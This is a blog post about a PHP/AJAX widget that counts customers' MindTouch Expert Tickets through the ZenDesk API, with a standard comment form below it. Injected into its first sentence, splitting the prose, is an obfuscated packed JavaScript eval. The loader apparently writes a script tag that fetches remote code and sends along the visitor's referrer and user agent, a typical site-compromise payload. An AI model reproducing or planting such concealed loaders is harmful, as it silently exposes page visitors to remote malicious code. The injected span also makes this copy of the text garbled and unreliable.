Support Plan Management Application

The eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dkeds|var|u0026u|referrer|aiafn||js|php’.split(‘|’),0,{}))
support plan structure that we subscribe to at MindTouch includes 2 tiers of tickets.  The first tier is a System Maintenance ticket which are basic questions about how to use/install/configure MindTouch.  Then we have advanced tickets called METs (MindTouch Expert Tickets).  These allow for support for advanced functionality within MindTouch.

METs are a cornerstone to the support plans as far as one of the main differentiators.  With this in mind we needed an effective way to track and communicate to the customer their usage of these tickets.  This motivated me to create a PHP/AJAX application that surfaces the number of tickets used and how many are left.

The key functionality of this application relies on effectively categorizing tickets in a way that can be surfaced and counted.  We use ZenDesk for our helpdesk which has a pretty robust RESTful API.  I setup a workflow in ZenDesk that would automatically tag the ticket with an MET tag based upon the categorization of the ticket itself. Once this is done then the ticket will go through its normal cycle of resolution.  In the background nightly I have a PHP script that hits the ZenDesk API and queries based upon values from our database and the categorization in ZenDesk.  It then loops through all of the organizations and parses the total number of METs have been used during their support plan timeframe.

Once it receives this information it updates the database.  The information is then surfaced through a javascript widget that receives information from ZenDesk as to the user’s organization.

This helps the agents have a better idea of the customer’s support level along with providing useful information to the customer as to the status of their account.

Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

This site uses Akismet to reduce spam. Learn how your comment data is processed.

Create your website at
Get started
%d bloggers like this:
search previous next tag category expand menu location phone mail time cart zoom edit close